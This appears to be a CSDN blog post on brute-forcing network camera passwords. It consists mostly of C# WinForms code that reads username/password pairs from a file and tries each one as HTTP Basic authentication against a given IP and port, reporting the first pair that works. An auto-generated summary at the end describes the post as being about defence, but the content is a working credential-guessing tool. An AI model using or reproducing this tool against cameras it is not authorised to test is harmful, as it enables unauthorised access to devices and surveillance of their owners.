private void button1_Click(object sender, EventArgs e)
{
string ip = textBox1.Text;
string port = textBox2.Text;
label1.Text = "";
label2.Text = "";
FileStream Fs = new FileStream("admin.txt", FileMode.Open);//文件对象
StreamReader sr = new StreamReader(Fs, Encoding.Default);//读取
while (!sr.EndOfStream)
{
string line= sr.ReadLine();
string[] a = line.Split(' ');
string name = a[0];
string pwd = a[1];
bool test = testIPName(ip, port, name, pwd);
if (test)
{
label1.Text = name;
label2.Text = pwd;
break;
}
else
{
}
}
sr.Close();
}
public string HttpGet(string url,string auth,string domin)
{
string result = string.Empty;
HttpWebRequest wbRequest = (HttpWebRequest)WebRequest.Create(url);
wbRequest.Method = "GET";
wbRequest.KeepAlive = false;
wbRequest.Headers.Add("Authorization", auth);
try
{
HttpWebResponse wbResponse = (HttpWebResponse)wbRequest.GetResponse();
}
catch (Exception e)
{
return "401";
}
return "ok";
}
public string getNamePwdBase64(string name,string pwd)
{
string baseStr = name + ":" + pwd;
byte[] bytes = Encoding.Default.GetBytes(baseStr);
return "Basic "+Convert.ToBase64String(bytes);
}
public bool testIPName(string ip,string port,string name,string pwd)
{
string url = "http://" + ip + ":" + port;
string auth = getNamePwdBase64(name, pwd);
string a = HttpGet(url, auth, ip);
if (a == "ok")
{
return true;
}
else
{
return false;
}
}
网络摄像头密码穷举
最新推荐文章于 2024-07-08 10:01:11 发布
本文探讨了网络摄像头安全问题,重点讲述了针对摄像头密码的穷举攻击手段。通过分析常见的密码设置习惯,讨论了如何有效地防止此类攻击,同时提醒用户加强密码复杂性和定期更换,以提升设备安全性。
摘要由CSDN通过智能技术生成